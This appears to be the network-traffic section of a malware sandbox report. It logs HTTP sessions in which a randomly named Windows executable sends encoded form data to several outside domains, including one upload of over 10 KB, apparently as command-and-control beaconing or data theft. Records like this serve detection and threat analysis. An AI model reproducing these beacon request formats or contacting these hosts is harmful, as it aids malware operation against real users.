BWBbeXueylHq/FG/C+DphKx/HVDe7kDepfJr1IwTweqf6fJG1PZsuXTedvtk9Gxm67DpoU4apxmVNw5MgTw0RajwXCMn1iXjZg57SgxGBv640zP1npw4D6ca8s0Og84JXlsnQQsqSCiSYpMu+7LUfcrv6aD [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49883	176.32.38.141	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:18:46.428065062 CEST	442	OUT	GET /azcx/?nrs8j=irMYamRxHtj3NMD2tLgxvViSvpLqwhvn7ehZdObCxtX/sdDuQfcDsrOzu60Trx/UY7Wv4F1shT0OqKdZ6j2zU9VfvWpTmK3e9j1Z+5zsY7kVMmPgkcjeH9Y=&Yp=eXMH4fkp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.impo232rt.xyz Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50008	199.192.21.169	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:13.027817011 CEST	712	OUT	POST /6iok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.cenfresh.life Content-Type: application/x-www-form-urlencoded Content-Length: 202 Connection: close Cache-Control: no-cache Origin: http://www.cenfresh.life Referer: http://www.cenfresh.life/6iok/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 47 70 55 6f 36 61 31 78 6f 70 32 74 36 55 62 67 62 49 6b 34 48 73 4f 76 2b 69 58 71 42 66 4d 51 53 6c 55 39 50 44 77 58 4b 6f 5a 43 36 5a 39 78 32 59 67 2f 4c 45 68 57 42 35 55 70 4a 78 68 6e 47 4f 44 69 56 51 6c 54 4c 33 30 66 6f 33 62 6d 51 72 63 47 51 43 56 71 62 4d 35 50 44 5a 58 64 6a 53 4f 79 2f 54 74 73 34 69 31 45 44 53 6c 55 34 69 66 69 38 77 36 2f 2b 47 79 4e 39 4b 6f 4f 32 51 78 6c 30 51 53 47 6f 45 77 6f 42 4c 49 56 68 61 76 4e 6b 78 32 75 55 56 5a 41 47 4a 4c 4d 6d 73 71 62 6f 65 74 4d 65 4e 6a 79 30 76 62 67 43 68 55 4a 6e 2f 4c 4f 68 34 49 4e 77 35 70 6f 2b 51 3d 3d Data Ascii: nrs8j=GpUo6a1xop2t6UbgbIk4HsOv+iXqBfMQSlU9PDwXKoZC6Z9x2Yg/LEhWB5UpJxhnGODiVQlTL30fo3bmQrcGQCVqbM5PDZXdjSOy/Tts4i1EDSlU4ifi8w6/+GyN9KoO2Qxl0QSGoEwoBLIVhavNkx2uUVZAGJLMmsqboetMeNjy0vbgChUJn/LOh4INw5po+Q==
Oct 8, 2024 14:19:13.616738081 CEST	980	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 12:19:13 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50009	199.192.21.169	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:15.572783947 CEST	732	OUT	POST /6iok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.cenfresh.life Content-Type: application/x-www-form-urlencoded Content-Length: 222 Connection: close Cache-Control: no-cache Origin: http://www.cenfresh.life Referer: http://www.cenfresh.life/6iok/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 47 70 55 6f 36 61 31 78 6f 70 32 74 37 30 4c 67 63 76 77 34 57 38 4f 73 78 43 58 71 4f 2f 4d 55 53 6c 51 39 50 44 5a 4b 4e 61 4e 43 39 37 6c 78 31 64 63 2f 59 30 68 57 5a 4a 55 6f 52 52 68 75 47 4f 4f 64 56 56 64 54 4c 33 67 66 6f 32 72 6d 58 63 6f 46 52 53 56 6f 4f 63 35 4a 4f 35 58 64 6a 53 4f 79 2f 54 35 43 34 69 74 45 44 42 39 55 33 6a 66 68 77 51 36 34 35 47 79 4e 35 4b 6f 4b 32 51 77 79 30 55 4c 74 6f 48 59 6f 42 4f 30 56 68 72 76 4f 2f 68 32 6f 4c 46 5a 57 41 4d 75 34 70 4f 4b 56 6e 4d 6c 5a 42 73 44 56 38 4a 4b 36 54 51 31 65 31 2f 76 39 38 2f 42 35 39 36 55 68 6c 56 73 41 71 2b 50 34 62 78 6c 76 66 37 55 48 76 4f 6f 48 47 71 45 3d Data Ascii: nrs8j=GpUo6a1xop2t70Lgcvw4W8OsxCXqO/MUSlQ9PDZKNaNC97lx1dc/Y0hWZJUoRRhuGOOdVVdTL3gfo2rmXcoFRSVoOc5JO5XdjSOy/T5C4itEDB9U3jfhwQ645GyN5KoK2Qwy0ULtoHYoBO0VhrvO/h2oLFZWAMu4pOKVnMlZBsDV8JK6TQ1e1/v98/B596UhlVsAq+P4bxlvf7UHvOoHGqE=
Oct 8, 2024 14:19:16.182003021 CEST	980	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 12:19:16 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50010	199.192.21.169	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:18.120992899 CEST	10814	OUT	POST /6iok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.cenfresh.life Content-Type: application/x-www-form-urlencoded Content-Length: 10302 Connection: close Cache-Control: no-cache Origin: http://www.cenfresh.life Referer: http://www.cenfresh.life/6iok/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 47 70 55 6f 36 61 31 78 6f 70 32 74 37 30 4c 67 63 76 77 34 57 38 4f 73 78 43 58 71 4f 2f 4d 55 53 6c 51 39 50 44 5a 4b 4e 61 56 43 39 4f 78 78 33 36 49 2f 62 30 68 57 51 70 55 74 52 52 67 2b 47 4f 57 5a 56 56 67 78 4c 31 59 66 36 45 54 6d 57 75 41 46 61 53 56 6f 52 73 35 4d 44 5a 57 41 6a 53 65 2b 2f 54 70 43 34 69 74 45 44 48 35 55 2b 53 66 68 79 51 36 2f 2b 47 79 33 39 4b 6f 79 32 51 34 69 30 55 48 62 72 33 34 6f 43 75 45 56 78 4e 37 4f 7a 68 32 71 4b 46 59 56 41 4d 71 6e 70 4f 6e 71 6e 4e 52 7a 42 73 33 56 35 4f 47 6a 48 69 31 79 68 39 6a 44 74 49 35 52 79 35 68 6e 6d 53 6b 68 36 65 72 77 59 41 5a 46 62 34 34 4e 30 64 77 4e 51 66 72 2b 45 72 6c 74 70 77 46 42 41 43 41 7a 73 4b 43 4c 73 4d 74 66 62 50 79 70 4e 48 31 77 68 6b 48 73 55 62 69 47 39 77 4e 41 59 39 4d 34 54 36 72 4c 47 70 77 46 32 6d 45 36 45 71 42 64 71 2f 71 55 7a 2b 55 4b 43 54 63 54 34 50 71 4e 75 45 44 34 65 53 32 36 69 54 42 51 42 69 32 65 50 68 47 38 67 6c 43 42 50 4b 53 30 6a 42 37 75 6c 6e 4a 30 42 58 62 74 [TRUNCATED] Data Ascii: nrs8j=GpUo6a1xop2t70Lgcvw4W8OsxCXqO/MUSlQ9PDZKNaVC9Oxx36I/b0hWQpUtRRg+GOWZVVgxL1Yf6ETmWuAFaSVoRs5MDZWAjSe+/TpC4itEDH5U+SfhyQ6/+Gy39Koy2Q4i0UHbr34oCuEVxN7Ozh2qKFYVAMqnpOnqnNRzBs3V5OGjHi1yh9jDtI5Ry5hnmSkh6erwYAZFb44N0dwNQfr+ErltpwFBACAzsKCLsMtfbPypNH1whkHsUbiG9wNAY9M4T6rLGpwF2mE6EqBdq/qUz+UKCTcT4PqNuED4eS26iTBQBi2ePhG8glCBPKS0jB7ulnJ0BXbtBcvVfJXVX4Cbg2jE+Mhnp/ItZkzCMdTuMl5PbBX8rdMr3+rHreA1XBXjR7PPz1rPtZpIlShajlIQNsX6ew63GIQnX1366bCD/akDLbGS1MQpc98EUZJgwa8bCRH3B1ygQIAjDbjrbN+NDPnG3lgJZQW+6P9g6rQtXzCh6t6aX80R8Z1VsGqZ2eDg9A9nwcRg0xh3Jf0DOUEo99E7+6K3Se/VXp5ZJMHWfUM9ZQcvPaBFHkVE+Ob8hxrX5dDKDOKtiJKm45hEBdtJbK7BqUfLWy2aET7kbB9ct0S5VTFtVp6KZEXJIn5sFt0H5TWb1VM3goSqxd1kIhnf7uvbIeyG9q9P1GntmIEq3bqdk9gEnvAB0QIS3jUxf5yZ0njcp8cpbFEwiqIc6Mm0KEAS5UX2X+2WQbjmv6zOXwjTqxILs/Ut9MwB5//oUjTMmzbNYPBoPahaciTGZ+Sesw791Au7P71p9SDkJCf6e0v6xKZ0jnRLy8hQd4esJNBiXYFy0WsB6o/MV4PhHrH+QqxVx9Gi/vsDufiKP5QmsecPc5T4Kr5xg2BbrZvHFzWDiSekXQFoxQI918XT/wSBTCcfN8dUqi15dnx4tV1+Z1gI2dTPgtKO4Ynk1sakoBpIycTOr04eUwrHqLoc6yalKp1K1esL+1Sh5c2LS0oYMT [TRUNCATED]
Oct 8, 2024 14:19:18.706728935 CEST	980	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 12:19:18 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50011	199.192.21.169	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:20.659512997 CEST	442	OUT	GET /6iok/?Yp=eXMH4fkp&nrs8j=Lr8I5vR8kZnO1BXwYoMTGZrf0zW9P9gXQAsQehgeDaNdyJVo64QKCUs+Z9VbQDUfL8+SUHVZNFYLvGD3PrMcSw81RdJBHrPngUHAq0ps+A4FRAxn/QrS6wg= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.cenfresh.life Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Oct 8, 2024 14:19:21.278870106 CEST	995	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 12:19:21 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50012	3.33.130.190	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:34.403327942 CEST	724	OUT	POST /paa2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.digitalbloom.info Content-Type: application/x-www-form-urlencoded Content-Length: 202 Connection: close Cache-Control: no-cache Origin: http://www.digitalbloom.info Referer: http://www.digitalbloom.info/paa2/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 6e 42 70 54 63 48 49 73 34 6e 51 68 4b 2b 30 4e 63 45 48 36 46 63 68 6a 74 75 72 30 69 64 6d 57 66 45 4a 63 79 6d 46 49 6f 4e 53 32 66 76 70 75 6e 78 46 56 44 4e 59 72 6e 6c 38 4f 6f 30 5a 52 66 76 31 59 57 31 6a 2f 75 31 36 58 53 4b 45 4e 42 41 4e 53 52 59 33 75 37 4c 76 37 72 48 32 72 4e 4a 63 38 44 6c 78 38 36 39 67 73 71 44 31 38 65 49 38 51 35 34 5a 44 54 4f 61 5a 43 38 7a 6b 37 58 65 64 73 6e 58 73 7a 42 49 54 31 34 58 61 59 4b 31 65 34 2f 56 42 6e 5a 37 51 37 43 36 54 6b 6a 72 72 44 45 4b 6c 6a 70 4b 4d 4a 64 2f 52 73 65 42 50 78 48 49 64 75 59 37 62 39 2f 64 74 42 51 3d 3d Data Ascii: nrs8j=nBpTcHIs4nQhK+0NcEH6Fchjtur0idmWfEJcymFIoNS2fvpunxFVDNYrnl8Oo0ZRfv1YW1j/u16XSKENBANSRY3u7Lv7rH2rNJc8Dlx869gsqD18eI8Q54ZDTOaZC8zk7XedsnXszBIT14XaYK1e4/VBnZ7Q7C6TkjrrDEKljpKMJd/RseBPxHIduY7b9/dtBQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50013	3.33.130.190	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:36.946455002 CEST	744	OUT	POST /paa2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.digitalbloom.info Content-Type: application/x-www-form-urlencoded Content-Length: 222 Connection: close Cache-Control: no-cache Origin: http://www.digitalbloom.info Referer: http://www.digitalbloom.info/paa2/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 6e 42 70 54 63 48 49 73 34 6e 51 68 4c 66 45 4e 50 6e 66 36 4f 63 68 67 75 75 72 30 6f 39 6d 53 66 45 56 63 79 6d 74 69 76 2b 6d 32 65 4c 68 75 6d 77 46 56 41 4e 59 72 76 46 38 4c 69 55 5a 4b 66 76 34 74 57 31 76 2f 75 31 75 58 53 4c 30 4e 55 6a 6c 64 51 49 33 67 76 37 76 31 68 6e 32 72 4e 4a 63 38 44 6c 56 57 36 38 49 73 74 7a 6c 38 66 70 38 54 36 34 5a 41 61 75 61 5a 52 73 7a 67 37 58 65 72 73 6d 62 57 7a 43 77 54 31 36 66 61 66 59 4e 5a 32 2f 56 48 34 70 36 6e 31 79 2b 62 71 53 43 44 4b 6c 4b 48 6b 49 71 2f 46 37 75 4c 39 76 67 59 6a 48 73 75 7a 66 79 76 77 38 67 6b 61 54 74 37 4c 62 37 34 4c 6c 51 5a 34 48 74 64 6e 47 48 75 75 37 6b 3d Data Ascii: nrs8j=nBpTcHIs4nQhLfENPnf6Ochguur0o9mSfEVcymtiv+m2eLhumwFVANYrvF8LiUZKfv4tW1v/u1uXSL0NUjldQI3gv7v1hn2rNJc8DlVW68Istzl8fp8T64ZAauaZRszg7XersmbWzCwT16fafYNZ2/VH4p6n1y+bqSCDKlKHkIq/F7uL9vgYjHsuzfyvw8gkaTt7Lb74LlQZ4HtdnGHuu7k=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50014	3.33.130.190	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:19:39.495529890 CEST	10826	OUT	POST /paa2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.digitalbloom.info Content-Type: application/x-www-form-urlencoded Content-Length: 10302 Connection: close Cache-Control: no-cache Origin: http://www.digitalbloom.info Referer: http://www.digitalbloom.info/paa2/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 6e 42 70 54 63 48 49 73 34 6e 51 68 4c 66 45 4e 50 6e 66 36 4f 63 68 67 75 75 72 30 6f 39 6d 53 66 45 56 63 79 6d 74 69 76 2b 2b 32 65 35 35 75 6e 54 74 56 42 4e 59 72 68 6c 38 4b 69 55 59 61 66 76 67 68 57 31 53 4b 75 33 57 58 54 74 49 4e 51 69 6c 64 65 49 33 67 77 72 76 30 72 48 33 68 4e 4a 4d 67 44 6c 6c 57 36 38 49 73 74 31 4a 38 59 34 38 54 38 34 5a 44 54 4f 61 64 43 38 7a 49 37 58 47 56 73 6d 66 47 7a 7a 51 54 30 5a 33 61 5a 74 5a 5a 36 2f 56 46 35 70 36 2f 31 7a 44 46 71 53 65 68 4b 6c 2b 39 6b 49 65 2f 56 39 6e 4a 35 73 6b 79 31 42 34 45 6d 64 71 4f 70 4f 31 6e 53 69 35 54 50 35 44 77 55 6d 49 6f 7a 6e 4d 68 6a 33 43 72 31 75 31 55 7a 36 52 39 4a 37 58 33 6c 6d 73 76 64 54 47 6b 72 6a 6e 4f 52 61 78 68 68 62 6b 53 30 6b 6f 31 73 32 4c 36 63 6d 5a 6a 6d 4f 2f 69 6d 57 4f 4a 66 6a 57 52 2f 4e 69 55 6a 76 79 52 71 30 6f 75 70 47 37 78 6c 2b 55 49 30 44 4b 55 64 61 6d 49 71 59 67 70 2f 73 58 47 39 75 2b 4b 36 59 32 35 66 50 35 44 72 38 35 51 58 71 7a 51 52 54 6b 58 31 43 42 34 [TRUNCATED] Data Ascii: nrs8j=nBpTcHIs4nQhLfENPnf6Ochguur0o9mSfEVcymtiv++2e55unTtVBNYrhl8KiUYafvghW1SKu3WXTtINQildeI3gwrv0rH3hNJMgDllW68Ist1J8Y48T84ZDTOadC8zI7XGVsmfGzzQT0Z3aZtZZ6/VF5p6/1zDFqSehKl+9kIe/V9nJ5sky1B4EmdqOpO1nSi5TP5DwUmIoznMhj3Cr1u1Uz6R9J7X3lmsvdTGkrjnORaxhhbkS0ko1s2L6cmZjmO/imWOJfjWR/NiUjvyRq0oupG7xl+UI0DKUdamIqYgp/sXG9u+K6Y25fP5Dr85QXqzQRTkX1CB4DqZMjIY4HCzvpWDLEcvhjaleN9ZfutnyVL/HFBN+irT1ZtjfgEwB0iQdwpttxV9coqrIltETLdw2hIvjw86nkoaC/yp0kLHAfpTrXViJyH4CMYFbMBRc8XFQPAdkajx+lIW2QjpTlQkotaRHv2Vd/uy/8wulChxYCvsA0+dPjJa31Oy84df9cDbZW1xNbwnagR61DaVBpFNdR+5gjgjbbtQcTZToI8yV1NpgoNAIxY6wTIDKNMJ7tYLLzxaecw+YhtQLhwXTMRBH6brZyA9fxpZAj20NGXNFof0btUEjD01aU4AF+Ba5nndfXZlbUIgqvo9kDj17a4CNv/eiUUf4tEEk74E0Ov6QNcEXcSDszcwF827+oxoeNNfABc8TP1rarBEzY92iRO3VL6W5Y866OVzXiLHdZ92DvLl+S24iR72fqcS27RBKvL+9Uy5rQSKXnDJrkBFavYkbJYG6qUcb+v5xf/Eo2zxrCsGMmVq8DAuYNOK385Kafes5ekyG9VHOxWlMALOL+2valOwbUEvUqCWBMFbUID5GUT6DJDcQ/EpmZZ71sTEoJABYnX74e5UivMqDyzsuNy8JIKaL5JAHK2YgT0FjuGAYNVBI2aWxbo4Mp+v0+y